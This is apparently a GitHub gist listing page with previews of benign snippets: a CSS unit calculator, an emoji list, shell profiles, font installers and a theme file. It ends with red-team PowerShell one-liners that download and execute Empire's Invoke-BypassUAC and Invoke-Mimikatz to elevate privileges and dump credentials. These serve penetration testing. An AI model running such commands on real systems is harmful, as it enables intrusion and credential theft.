Skip to content

Instantly share code, notes, and snippets.

@sionta
sionta / calc-rem.js
Last active November 11, 2024 23:49 — forked from daniellmb/calc-rem.js
PX-to-REM Calculator
document.addEventListener("DOMContentLoaded", function() {
var result = document.getElementById('result');
var base = document.getElementById('base');
var list = document.getElementById('list');
document.getElementById('calc').addEventListener('click', function() {
var baseVal = base.value;
var px = list.value.split(',');
var html = [];
@sionta
sionta / gist:7cd286523adf98d803730b663f12ef68
Created May 1, 2024 02:09 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@sionta
sionta / main.cpp
Last active October 2, 2024 15:52
Just to test the embedding element
#include <iostream>
using namespace std;
int main() {
cout << "Hello World!";
return 0;
}
@echo off
if "%~1"=="" goto :USAGE
where /q curl.exe || (
echo Error: curl command not found.
exit /b 1
)
setlocal enabledelayedexpansion
@sionta
sionta / cmdexe_profile.cmd
Last active February 3, 2024 23:31
My personal profile on Command Prompt (cmd.exe) shell
@ECHO OFF
:: Requires Clink v1.4+ https://github.com/chrisant996/clink
:: Optional:
:: oh-my-posh : https://github.com/jandedobbeleer/oh-my-posh
:: fuzzy-finder: https://github.com/junegunn/fzf
call :TEST_EXEC findstr && (
findstr "$" "%~f0" >nul || (
echo ERROR: The script has an LF line ending issue or a blank line at the end of the script is missing.
exit /b 1
@sionta
sionta / Install-Fonts.ps1
Created July 31, 2023 09:57
Fonts installer
#Requires -Version 3.0
<#
.SYNOPSIS
Fonts installer.
.DESCRIPTION
Install a specific font file or multiple from a directory.
.EXAMPLE
.\install-font.ps1 -Path .\myfonts\ -Recurse
Install all fonts including the 'myfonts' sub/directories.
@sionta
sionta / FontInstallation.ps1
Created July 30, 2023 19:14 — forked from anthonyeden/FontInstallation.ps1
Font User Installation - Powershell (No Admin Password Needed)
# Run this as a Computer Startup script to allow installing fonts from C:\InstallFont\
# Based on http://www.edugeek.net/forums/windows-7/123187-installation-fonts-without-admin-rights-2.html
# Run this as a Computer Startup Script in Group Policy
# Full details on my website - https://mediarealm.com.au/articles/windows-font-install-no-password-powershell/
$SourceDir = "C:\InstallFont\"
$Source = "C:\InstallFont\*"
$Destination = (New-Object -ComObject Shell.Application).Namespace(0x14)
$TempFolder = "C:\Windows\Temp\Fonts"
@sionta
sionta / properties.xml
Created July 15, 2023 03:37
for MiXplorer theme
<?xml version="1.0" encoding="utf-8"?>
<properties>
<entry key="title">Default</entry>
<entry key="author">Hootan Parsa</entry>
<!-- General -->
<entry key="density">320</entry>
<entry key="light_status_bar">false</entry>
<entry key="light_navigation_bar">false</entry>
<entry key="thumb_rounded_corner">50</entry> <!-- Percent -->
#target Illustrator
var requiredABsize = 1700; //px
var activeDoc = app.activeDocument;
var abActive = activeDoc.artboards[ activeDoc.artboards.getActiveArtboardIndex() ];
var abProps = getArtboardBounds(abActive);
var scale = findRequiredScale(abProps);
if (scale > 1)
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands